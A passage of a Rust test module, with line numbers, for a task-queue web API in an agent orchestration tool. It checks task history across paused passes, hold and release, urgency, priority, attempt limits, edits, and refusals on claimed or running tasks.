16678 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16679 let h = task_history(&task, |id| {
16680 Some(if id == "a" { a.clone() } else { b.clone() })
16681 });
16682 assert_eq!(
16683 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16684 ["a", "b", "a"]
16685 );
16686 assert_eq!(h[0].attempt, AttemptCost::Refunded);
16687 assert!(h[0].outcome.contains("upgrade"));
16688 assert_eq!(h[2].kind, "resume");
16689 assert!(h[2].pass.is_some());
16690 task.runs = vec!["a".into(), "b".into(), "a".into()];
16692 let old = task_history(&task, |id| {
16693 Some(if id == "a" { a.clone() } else { b.clone() })
16694 });
16695 assert_eq!(
16696 old.iter()
16697 .map(|v| (&v.id, &v.kind, v.attempt))
16698 .collect::<Vec<_>>(),
16699 h.iter()
16700 .map(|v| (&v.id, &v.kind, v.attempt))
16701 .collect::<Vec<_>>()
16702 );
16703 }
16704
16705 #[test]
16706 fn an_upgrade_whose_target_was_not_known_says_so() {
16707 let run = flow_run(RunStatus::Implementing, |s| {
16708 s.passes = vec![
16709 recorded_pass(
16710 0,
16711 parked(crate::run::ParkCause::Upgrade {
16712 from: "0.121.0".to_owned(),
16713 to: None,
16714 }),
16715 ),
16716 recorded_pass(1, None),
16717 ];
16718 });
16719 let task = flow_task(&[RUN_X, RUN_X]);
16720 let h = task_history(&task, |_| Some(run.clone()));
16721 assert!(
16722 h[0].outcome.contains("upgrade from 0.121.0"),
16723 "{}",
16724 h[0].outcome
16725 );
16726 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16728 }
16729
16730 #[test]
16731 fn each_pass_keeps_its_own_cause_across_several_resumes() {
16732 use crate::queue::PassCost;
16733 use crate::run::ParkCause;
16734 let run = flow_run(RunStatus::Implementing, |s| {
16735 s.passes = vec![
16736 recorded_pass(0, parked(upgrade_cause())),
16737 recorded_pass(
16738 1,
16739 parked(ParkCause::Interrupt {
16740 reason: "task a1b2 asked to run first".to_owned(),
16741 }),
16742 ),
16743 recorded_pass(2, parked(ParkCause::Operator)),
16744 recorded_pass(3, None),
16745 ];
16746 });
16747 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16748 task.attempts = 1;
16749 task.passes = (0..3)
16750 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16751 .collect();
16752 let h = task_history(&task, |_| Some(run.clone()));
16753 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16754 assert!(
16755 h[1].outcome.contains("task a1b2 asked to run first"),
16756 "{}",
16757 h[1].outcome
16758 );
16759 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16760 assert!(
16761 h[2].outcome.contains("operator asked the loop to park"),
16762 "{}",
16763 h[2].outcome
16764 );
16765 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16766 let f = task_flow(&task, &h, 2, None);
16767 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16768 }
16769
16770 #[test]
16771 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16772 let run = flow_run(RunStatus::Implementing, |s| {
16773 s.passes = vec![
16774 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16775 recorded_pass(1, None),
16776 ];
16777 });
16778 let task = flow_task(&[RUN_X, RUN_X]);
16779 let h = task_history(&task, |_| Some(run.clone()));
16780 assert_eq!(h[0].exit, RunExit::Interrupted);
16781 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16782 assert!(
16783 h[0].outcome.contains("without recording why"),
16784 "{}",
16785 h[0].outcome
16786 );
16787 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16788 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16789 }
16790
16791 #[test]
16792 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16793 use crate::queue::PassCost;
16794 let run = flow_run(RunStatus::Implementing, |s| {
16797 s.passes = vec![
16798 recorded_pass(0, parked(upgrade_cause())),
16799 recorded_pass(1, None),
16800 ];
16801 });
16802 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16803 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16804 let h = task_history(&task, |_| Some(run.clone()));
16805 assert!(h[0].pass.is_none());
16806 assert_eq!(h[0].exit, RunExit::Interrupted);
16807 assert_eq!(h[0].attempt, AttemptCost::Unknown);
16808 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16809 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16810 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16811 let legacy = flow_run(RunStatus::Implementing, |_| {});
16813 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16814 assert!(h.iter().all(|v| v.pass.is_none()));
16815 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16816 }
16817
16818 #[test]
16819 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16820 use crate::queue::PassCost;
16821 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16824 web.task_entry = false;
16825 let run = flow_run(RunStatus::Implementing, |s| {
16826 s.passes = vec![
16827 recorded_pass(0, parked(upgrade_cause())),
16828 web.clone(),
16829 recorded_pass(2, None),
16830 ];
16831 });
16832 let mut task = flow_task(&[RUN_X, RUN_X]);
16833 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16834 let h = task_history(&task, |_| Some(run.clone()));
16835 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16836 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16837
16838 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16841 web0.task_entry = false;
16842 let run = flow_run(RunStatus::Implementing, |s| {
16843 s.passes = vec![web0.clone(), recorded_pass(1, None)];
16844 });
16845 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16846 assert!(h[0].pass.is_none());
16847 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16848 assert!(h[1].pass.is_some());
16849 }
16850
16851 #[tokio::test]
16852 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16853 let dir = tempfile::tempdir().unwrap();
16854 let queue = Queue::at(dir.path().join("queue"));
16855 let ui = Arc::new(Ui::new(
16856 queue.clone(),
16857 Questions::at(dir.path().join("questions")),
16858 Talks::at(dir.path().join("talks")),
16859 dir.path().join("runs"),
16860 dir.path().to_path_buf(),
16861 dir.path().to_path_buf(),
16862 ));
16863 let mut t = Task::new(
16864 "recover".into(),
16865 "Inspect".into(),
16866 PathBuf::from("."),
16867 Source::Human,
16868 );
16869 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16870 t.start("run-A".into());
16871 t.release_operator("choice", Some("resume-question"));
16872 t.resume_override = Some(crate::queue::OperatorResume {
16873 question_id: "resume-question".into(),
16874 at: jiff::Timestamp::now(),
16875 conductor_rehold: None,
16876 forced: true,
16877 pinned_run: Some("run-A".into()),
16878 });
16879 t.hold_machine(Some("inspection pending".into()));
16880 t.edit("recover".into(), "Reuse approved PR head".into())
16881 .unwrap();
16882 queue.put(&mut t).unwrap();
16883 let mut cli = t.clone();
16884 cli.release_operator("cli", None);
16885 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
16886 let reloaded = queue.get(&t.id).unwrap();
16887 assert_eq!(reply.task.status, TaskStatus::Queued);
16888 assert!(reloaded.resume_override.is_none());
16889 assert_eq!(reloaded.answers, t.answers);
16890 let mut web = reloaded.resumption.unwrap();
16891 let cli = cli.resumption.unwrap();
16892 assert_eq!(web.source, "web");
16893 web.source = cli.source.clone();
16894 web.at = cli.at;
16895 assert_eq!(web, cli);
16896 }
16897
16898 #[tokio::test]
16899 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
16900 let f = Fixture::start().await;
16901 let queue = f.queue();
16902 let mut task = Task::new(
16903 "spent".to_owned(),
16904 "Try again".to_owned(),
16905 PathBuf::from("/repo/magi"),
16906 Source::Human,
16907 );
16908 task.start("20260902-140502-bbbb".to_owned());
16909 task.fail("agent gave up", 9);
16910 queue.put(&mut task).expect("file the task");
16911
16912 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16913 assert_eq!(held.status, 200);
16914 assert_eq!(held.json()["status_str"], "held");
16915
16916 let released = f
16917 .post(&format!("/api/queue/{}/release", task.id), None)
16918 .await;
16919 assert_eq!(released.status, 200);
16920 assert_eq!(released.json()["status_str"], "queued");
16921 assert_eq!(released.json()["resumption"]["source"], "web");
16922 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16923 let mut cli = task.clone();
16924 cli.release_operator("cli", None);
16925 let web = queue.get(&task.id).unwrap().resumption.unwrap();
16926 let cli = cli.resumption.unwrap();
16927 assert_eq!(web.instruction, cli.instruction);
16928 assert_eq!(web.answers_through, cli.answers_through);
16929 assert_eq!(web.runs_through, cli.runs_through);
16930 assert_eq!(web.cleared_reason, cli.cleared_reason);
16931 assert_eq!(
16932 released.json()["attempts"],
16933 0,
16934 "release is a real second chance, not an instant re-hold"
16935 );
16936 assert_eq!(
16937 queue.get(&task.id).expect("reload").status,
16938 TaskStatus::Queued,
16939 "the change is on disk, not only in the reply"
16940 );
16941 assert!(
16942 !f.home
16943 .path()
16944 .join("queue")
16945 .join(format!("{}.lock", task.id))
16946 .exists(),
16947 "the claim the mutation took is released again"
16948 );
16949 }
16950
16951 #[tokio::test]
16952 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16953 let f = Fixture::start().await;
16954 let queue = f.queue();
16955 let mut task = Task::new(
16956 "busy".to_owned(),
16957 "Running right now".to_owned(),
16958 PathBuf::from("/repo/magi"),
16959 Source::Human,
16960 );
16961 queue.put(&mut task).expect("file the task");
16962 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16963
16964 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16965
16966 assert_eq!(res.status, 409);
16967 assert_eq!(
16968 queue.get(&task.id).expect("reload").status,
16969 TaskStatus::Queued,
16970 "the refused hold changed nothing"
16971 );
16972 }
16973
16974 #[tokio::test]
16975 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16976 let f = Fixture::start().await;
16977 let queue = f.queue();
16978 let mut task = Task::new(
16979 "waiting on the migration".to_owned(),
16980 "Do the thing".to_owned(),
16981 PathBuf::from("/repo/magi"),
16982 Source::Human,
16983 );
16984 queue.put(&mut task).expect("file the task");
16985
16986 let held = f
16987 .post(
16988 &format!("/api/queue/{}/hold", task.id),
16989 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16990 )
16991 .await;
16992 assert_eq!(held.status, 200, "{}", held.body);
16993 assert_eq!(held.json()["status_str"], "held");
16994 assert_eq!(
16995 held.json()["hold_reason"],
16996 "waiting for 20260101-000000-aaaa to land"
16997 );
16998
16999 let listed = f.get("/api/queue").await.json();
17000 assert_eq!(
17001 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17002 "the card reads the reason off the same list route"
17003 );
17004
17005 let mut plain = Task::new(
17008 "no reason given".to_owned(),
17009 "Do another thing".to_owned(),
17010 PathBuf::from("/repo/magi"),
17011 Source::Human,
17012 );
17013 queue.put(&mut plain).expect("file the task");
17014 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17015 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17016 assert!(held_plain.json()["hold_reason"].is_null());
17017
17018 let released = f
17019 .post(&format!("/api/queue/{}/release", task.id), None)
17020 .await;
17021 assert_eq!(released.status, 200);
17022 assert!(
17023 released.json()["hold_reason"].is_null(),
17024 "a release must clear the reason so the next hold does not inherit it"
17025 );
17026 }
17027
17028 #[test]
17029 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17030 for urgent in [true, false] {
17031 let body: UrgentBody =
17032 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17033 assert_eq!(body.urgent, urgent);
17034 }
17035 for input in [
17036 r#"{}"#,
17037 r#"{"urgent":null}"#,
17038 r#"{"urgent":"true"}"#,
17039 r#"{"urgent":1}"#,
17040 r#"{"urgent":true,"extra":false}"#,
17041 ] {
17042 assert!(
17043 serde_json::from_str::<UrgentBody>(input).is_err(),
17044 "{input}"
17045 );
17046 }
17047 }
17048
17049 #[tokio::test]
17050 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17051 let home = TempDir::new().unwrap();
17052 let q = Queue::at(home.path().join("queue"));
17053 let ui = Arc::new(Ui::new(
17054 q.clone(),
17055 Questions::at(home.path().join("questions")),
17056 Talks::at(home.path().join("talks")),
17057 home.path().join("runs"),
17058 home.path().into(),
17059 home.path().into(),
17060 ));
17061 let mut task = Task::new(
17062 "urgent handler".into(),
17063 "keep".into(),
17064 home.path().into(),
17065 Source::Human,
17066 );
17067 for status in [TaskStatus::Queued, TaskStatus::Held] {
17068 task.status = status;
17069 q.put(&mut task).unwrap();
17070 for urgent in [true, true, false, false] {
17071 let saved = queue_urgent(
17072 State(Arc::clone(&ui)),
17073 Path(task.short().into()),
17074 Ok(Json(UrgentBody { urgent })),
17075 )
17076 .await
17077 .unwrap();
17078 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17079 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17080 }
17081 }
17082 task.status = TaskStatus::Queued;
17083 q.put(&mut task).unwrap();
17084 let claim = q.claim(&task.id).unwrap();
17085 let error = queue_urgent(
17086 State(Arc::clone(&ui)),
17087 Path(task.id.clone()),
17088 Ok(Json(UrgentBody { urgent: true })),
17089 )
17090 .await
17091 .unwrap_err();
17092 assert_eq!(error.status, StatusCode::CONFLICT);
17093 assert!(error.message.contains("released"));
17094 drop(claim);
17095 for status in [
17096 TaskStatus::Running,
17097 TaskStatus::Done,
17098 TaskStatus::Failed,
17099 TaskStatus::Blocked,
17100 TaskStatus::Parked,
17101 ] {
17102 task.status = status;
17103 q.put(&mut task).unwrap();
17104 let error = queue_urgent(
17105 State(Arc::clone(&ui)),
17106 Path(task.id.clone()),
17107 Ok(Json(UrgentBody { urgent: false })),
17108 )
17109 .await
17110 .unwrap_err();
17111 assert_eq!(error.status, StatusCode::BAD_REQUEST);
17112 assert!(error.message.contains(status.as_str()));
17113 }
17114 }
17115
17116 #[tokio::test]
17117 async fn urgent_api_updates_preserves_and_validates_tasks() {
17118 let f = Fixture::start().await;
17119 let q = f.queue();
17120 let mut t = Task::new(
17121 "urgent API".into(),
17122 "unchanged".into(),
17123 PathBuf::from("/repo/magi"),
17124 Source::Human,
17125 );
17126 t.attempts = 2;
17127 t.priority = 9;
17128 t.interrupt = true;
17129 t.hold_reason = Some("waiting for approval".into());
17130 for status in [TaskStatus::Queued, TaskStatus::Held] {
17131 t.status = status;
17132 q.put(&mut t).unwrap();
17133 for urgent in [true, true, false, false] {
17134 let response = f
17135 .post(
17136 &format!("/api/queue/{}/urgent", t.short()),
17137 Some(&format!("{{\"urgent\":{urgent}}}")),
17138 )
17139 .await;
17140 assert_eq!(response.status, 200, "{}", response.body);
17141 assert_eq!(response.json()["urgent"], urgent);
17142 let saved = q.get(&t.id).unwrap();
17143 let mut before = serde_json::to_value(&t).unwrap();
17144 let mut after = serde_json::to_value(saved).unwrap();
17145 before["urgent"] = urgent.into();
17146 before.as_object_mut().unwrap().remove("updated_at");
17147 after.as_object_mut().unwrap().remove("updated_at");
17148 assert_eq!(after, before);
17149 }
17150 }
17151 let route = format!("/api/queue/{}/urgent", t.id);
17152 for body in [
17153 r#"{}"#,
17154 r#"{"urgent":null}"#,
17155 r#"{"urgent":"true"}"#,
17156 r#"{"urgent":1}"#,
17157 r#"{"urgent":true,"extra":false}"#,
17158 "{",
17159 ] {
17160 assert_eq!(f.post(&route, Some(body)).await.status, 400);
17161 }
17162 t.status = TaskStatus::Queued;
17163 q.put(&mut t).unwrap();
17164 let claim = q.claim(&t.id).unwrap();
17165 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17166 assert_eq!(response.status, 409, "{}", response.body);
17167 assert!(!q.get(&t.id).unwrap().urgent);
17168 drop(claim);
17169 for status in [
17170 TaskStatus::Running,
17171 TaskStatus::Done,
17172 TaskStatus::Failed,
17173 TaskStatus::Blocked,
17174 TaskStatus::Parked,
17175 ] {
17176 t.status = status;
17177 q.put(&mut t).unwrap();
17178 for urgent in [true, false] {
17179 let response = f
17180 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
17181 .await;
17182 assert_eq!(response.status, 400, "{}", response.body);
17183 assert!(response.body.contains(status.as_str()));
17184 assert!(response.body.contains("queued or held"));
17185 assert!(!q.get(&t.id).unwrap().urgent);
17186 }
17187 }
17188 assert_eq!(
17189 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
17190 .await
17191 .status,
17192 404
17193 );
17194 }
17195
17196 #[tokio::test]
17197 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
17198 let f = Fixture::start().await;
17199 let queue = f.queue();
17200 let mut older = Task::new(
17201 "filed first".to_owned(),
17202 "x".to_owned(),
17203 PathBuf::from("/repo/magi"),
17204 Source::Human,
17205 );
17206 older.id = "20260101-000001-aaaa".to_owned();
17207 let mut newer = Task::new(
17208 "filed second".to_owned(),
17209 "x".to_owned(),
17210 PathBuf::from("/repo/magi"),
17211 Source::Human,
17212 );
17213 newer.id = "20260101-000002-bbbb".to_owned();
17214 queue.put(&mut older).expect("file older");
17215 queue.put(&mut newer).expect("file newer");
17216
17217 let before = f.get("/api/queue").await.json();
17220 assert_eq!(before[0]["id"], newer.id);
17221 assert_eq!(before[1]["id"], older.id);
17222
17223 let raised = f
17227 .post(
17228 &format!("/api/queue/{}/priority", older.id),
17229 Some(r#"{"priority":10}"#),
17230 )
17231 .await;
17232 assert_eq!(raised.status, 200, "{}", raised.body);
17233 assert_eq!(raised.json()["priority"], 10);
17234
17235 let after = f.get("/api/queue").await.json();
17236 let names: Vec<&str> = after
17237 .as_array()
17238 .unwrap()
17239 .iter()
17240 .map(|t| t["id"].as_str().unwrap())
17241 .collect();
17242 assert_eq!(names[0], older.id, "the raised task now sorts first");
17246 }
17247
17248 #[tokio::test]
17249 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
17250 let dir = TempDir::new().unwrap();
17251 let q = Queue::at(dir.path().join("queue"));
17252 let ui = Arc::new(Ui::new(
17253 q.clone(),
17254 Questions::at(dir.path().join("questions")),
17255 Talks::at(dir.path().join("talks")),
17256 dir.path().join("runs"),
17257 dir.path().to_path_buf(),
17258 dir.path().to_path_buf(),
17259 ));
17260 let mut t = Task::new(
17261 "budget".into(),
17262 "keep".into(),
17263 dir.path().into(),
17264 Source::Human,
17265 );
17266 t.attempts = 2;
17267 t.runs.push("prior-run".into());
17268 t.hold_manual(Some("waiting".into()));
17269 q.put(&mut t).unwrap();
17270 let change = |value| {
17271 queue_attempt_limit(
17272 State(ui.clone()),
17273 Path(t.id.clone()),
17274 Ok(Json(AttemptLimitBody {
17275 attempt_limit: value,
17276 })),
17277 )
17278 };
17279 for value in [
17280 serde_json::json!(3),
17281 serde_json::Value::Null,
17282 serde_json::json!(1),
17283 ] {
17284 let response = change(value.clone()).await.unwrap();
17285 assert_eq!(
17286 serde_json::to_value(response.0).unwrap()["attempt_limit"],
17287 value
17288 );
17289 let saved = q.get(&t.id).unwrap();
17290 assert_eq!(
17291 serde_json::to_value(&saved).unwrap()["attempt_limit"],
17292 value
17293 );
17294 assert_eq!(saved.status, TaskStatus::Held);
17295 assert_eq!(saved.attempts, t.attempts);
17296 assert_eq!(saved.runs, t.runs);
17297 assert_eq!(saved.hold_reason, t.hold_reason);
17298 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
17299 .await
17300 .unwrap()
17301 .0;
17302 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17303 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17304 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17305 assert_eq!(outcome.max_attempts, detail.max_attempts);
17306 }
17307 for value in [
17308 serde_json::json!(0),
17309 serde_json::json!(-1),
17310 serde_json::json!(1.5),
17311 serde_json::json!("3"),
17312 serde_json::json!(true),
17313 ] {
17314 assert_eq!(
17315 change(value).await.err().unwrap().status,
17316 StatusCode::BAD_REQUEST
17317 );
17318 }
17319 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17320 let claim = q.claim(&t.id).unwrap();
17321 assert_eq!(
17322 change(serde_json::json!(4)).await.err().unwrap().status,
17323 StatusCode::CONFLICT
17324 );
17325 drop(claim);
17326 for status in [
17327 TaskStatus::Running,
17328 TaskStatus::Done,
17329 TaskStatus::Failed,
17330 TaskStatus::Blocked,
17331 TaskStatus::Parked,
17332 ] {
17333 let mut stored = q.get(&t.id).unwrap();
17334 stored.status = status;
17335 q.put(&mut stored).unwrap();
17336 assert_eq!(
17337 change(serde_json::json!(4)).await.err().unwrap().status,
17338 StatusCode::BAD_REQUEST
17339 );
17340 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17341 }
17342 let mut stored = q.get(&t.id).unwrap();
17343 stored.status = TaskStatus::Queued;
17344 q.put(&mut stored).unwrap();
17345 let _ = change(serde_json::Value::Null).await.unwrap();
17346 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17347 }
17348
17349 #[tokio::test]
17350 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17351 let dir = TempDir::new().unwrap();
17352 let repo = dir.path().join("repo");
17353 std::fs::create_dir(&repo).unwrap();
17354 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17355 let q = Queue::at(dir.path().join("queue"));
17356 let ui = Arc::new(Ui::new(
17357 q.clone(),
17358 Questions::at(dir.path().join("questions")),
17359 Talks::at(dir.path().join("talks")),
17360 dir.path().join("runs"),
17361 dir.path().to_path_buf(),
17362 repo.clone(),
17363 ));
17364 let mut t = Task::new(
17365 "seats".into(),
17366 "keep instruction".into(),
17367 repo,
17368 Source::Human,
17369 );
17370 t.runs.push("prior-run".into());
17371 t.hold_manual(Some("waiting".into()));
17372 q.put(&mut t).unwrap();
17373 let change = |count| {
17374 queue_implementers(
17375 State(ui.clone()),
17376 Path(t.id.clone()),
17377 Ok(Json(ImplementersBody {
17378 implementers: count,
17379 })),
17380 )
17381 };
17382 for count in [2, 1, 2] {
17383 let response = change(count).await.unwrap();
17384 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17385 let saved = q.get(&t.id).unwrap();
17386 assert_eq!(saved.implementers(), Some(usize::from(count)));
17387 assert_eq!(saved.runs, t.runs);
17388 assert_eq!(saved.instruction, t.instruction);
17389 }
17390 for count in [0, 4] {
17391 assert_eq!(
17392 change(count).await.err().unwrap().status,
17393 StatusCode::BAD_REQUEST
17394 );
17395 }
17396 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17397 let claim = q.claim(&t.id).unwrap();
17398 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17399 drop(claim);
17400 for status in [
17401 TaskStatus::Running,
17402 TaskStatus::Done,
17403 TaskStatus::Failed,
17404 TaskStatus::Blocked,
17405 TaskStatus::Parked,
17406 ] {
17407 let mut stored = q.get(&t.id).unwrap();
17408 stored.status = status;
17409 q.put(&mut stored).unwrap();
17410 assert_eq!(
17411 change(1).await.err().unwrap().status,
17412 StatusCode::BAD_REQUEST
17413 );
17414 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17415 }
17416 }
17417
17418 #[tokio::test]
17419 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17420 let f = Fixture::start().await;
17421 let queue = f.queue();
17422 let mut task = Task::new(
17423 "in flight".to_owned(),
17424 "x".to_owned(),
17425 PathBuf::from("/repo/magi"),
17426 Source::Human,
17427 );
17428 task.start("20260902-140502-bbbb".to_owned());
17429 queue.put(&mut task).expect("file the task");
17430
17431 let res = f
17432 .post(
17433 &format!("/api/queue/{}/priority", task.id),
17434 Some(r#"{"priority":9}"#),
17435 )
17436 .await;
17437 assert_eq!(res.status, 400, "{}", res.body);
17438 assert!(
17439 res.json()["error"]
17440 .as_str()
17441 .is_some_and(|e| e.contains("running")),
17442 "{}",
17443 res.body
17444 );
17445 assert_eq!(
17446 queue.get(&task.id).expect("reload").priority,
17447 0,
17448 "the refused write must not partially apply"
17449 );
17450 }
17451
17452 #[tokio::test]
17453 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17454 let f = Fixture::start().await;
17455 let queue = f.queue();
17456 let mut task = Task::new(
17457 "old title".to_owned(),
17458 "old instruction".to_owned(),
17459 PathBuf::from("/repo/magi"),
17460 Source::Agent {
17461 run: "20260101-000000-beef".to_owned(),
17462 node: "implement".to_owned(),
17463 },
17464 );
17465 task.runs.push("20260101-000000-beef".to_owned());
17466 queue.put(&mut task).expect("file the task");
17467 let created_at = task.created_at;
17468
17469 let edited = f
17470 .post(
17471 &format!("/api/queue/{}/edit", task.id),
17472 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17473 )
17474 .await;
17475 assert_eq!(edited.status, 200, "{}", edited.body);
17476 let body = edited.json();
17477 assert_eq!(body["title"], "new title");
17478 assert_eq!(body["instruction"], "new instruction");
17479 assert_eq!(body["id"], task.id, "editing must not mint a new id");
17480 assert_eq!(body["created_at"], created_at.to_string());
17481 assert_eq!(
17482 body["source"]["kind"], "agent",
17483 "editing a task an agent filed must not turn it human: {body}"
17484 );
17485 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17486
17487 let reloaded = queue.get(&task.id).expect("reload");
17488 assert_eq!(reloaded.title, "new title");
17489 assert_eq!(reloaded.instruction, "new instruction");
17490 }
17491
17492 #[tokio::test]
17493 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17494 let tmp = TempDir::new().expect("tempdir");
17497 let repo = tmp.path().join("repo");
17498 std::fs::create_dir_all(&repo).expect("repo dir");
17499 let judge = MOCK_AGENT_TOML.replace(
17500 "printf ok",
17501 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17502 );
17503 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17504 let f = Fixture::with_repo(repo.clone()).await;
17505 let queue = f.queue();
17506 let mut owner = Task::new(
17507 "owner".to_owned(),
17508 "review it".to_owned(),
17509 repo.clone(),
17510 Source::Human,
17511 );
17512 owner.review_branch = Some("magi/ab12/A".to_owned());
17513 queue.put(&mut owner).expect("file the owner");
17514 let mut task = Task::new(
17515 "draft".to_owned(),
17516 "old".to_owned(),
17517 repo.clone(),
17518 Source::Human,
17519 );
17520 queue.put(&mut task).expect("file the draft");
17521 let url = format!("/api/queue/{}/edit", task.id);
17522
17523 let refused = f
17524 .post(
17525 &url,
17526 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17527 )
17528 .await;
17529 assert_eq!(refused.status, 409, "{}", refused.body);
17530 let msg = refused.json()["error"]
17531 .as_str()
17532 .unwrap_or_default()
17533 .to_owned();
17534 assert!(
17535 msg.contains("magi/ab12/A") && msg.contains("force"),
17536 "{msg}"
17537 );
17538 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17539
17540 let forced = f
17541 .post(
17542 &url,
17543 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17544 )
17545 .await;
17546 assert_eq!(forced.status, 200, "{}", forced.body);
17547 }
17548
17549 #[tokio::test]
17550 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17551 let f = Fixture::start().await;
17552 let queue = f.queue();
17553 let mut task = Task::new(
17554 "in flight".to_owned(),
17555 "do not touch".to_owned(),
17556 PathBuf::from("/repo/magi"),
17557 Source::Human,
17558 );
17559 task.start("20260902-140502-bbbb".to_owned());
17560 queue.put(&mut task).expect("file the task");
17561
17562 let res = f
17563 .post(
17564 &format!("/api/queue/{}/edit", task.id),
17565 Some(r#"{"title":"x","instruction":"y"}"#),
17566 )
17567 .await;
17568 assert_eq!(res.status, 400, "{}", res.body);
17569 assert!(
17570 res.json()["error"]
17571 .as_str()
17572 .is_some_and(|e| e.contains("running")),
17573 "{}",
17574 res.body
17575 );
17576 assert_eq!(
17577 queue.get(&task.id).expect("reload").instruction,
17578 "do not touch",
17579 "the refused edit must not change the file"
17580 );
17581 }
17582
17583 #[tokio::test]
17584 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17585 let f = Fixture::start().await;
17586 let queue = f.queue();
17587 let mut task = Task::new(
17588 "busy".to_owned(),
17589 "Running right now".to_owned(),
17590 PathBuf::from("/repo/magi"),
17591 Source::Human,
17592 );
17593 queue.put(&mut task).expect("file the task");
17594 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17595
17596 let priority = f
17597 .post(
17598 &format!("/api/queue/{}/priority", task.id),
17599 Some(r#"{"priority":9}"#),
17600 )
17601 .await;
17602 assert_eq!(priority.status, 409, "{}", priority.body);
17603
17604 let edit = f
17605 .post(
17606 &format!("/api/queue/{}/edit", task.id),
17607 Some(r#"{"title":"x","instruction":"y"}"#),
17608 )
17609 .await;
17610 assert_eq!(edit.status, 409, "{}", edit.body);
17611 }
17612
17613 #[tokio::test]
17614 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17615 let f = Fixture::start().await;
17616 let queue = f.queue();
17617 let mut task = Task::new(
17618 "shipped by hand".to_owned(),
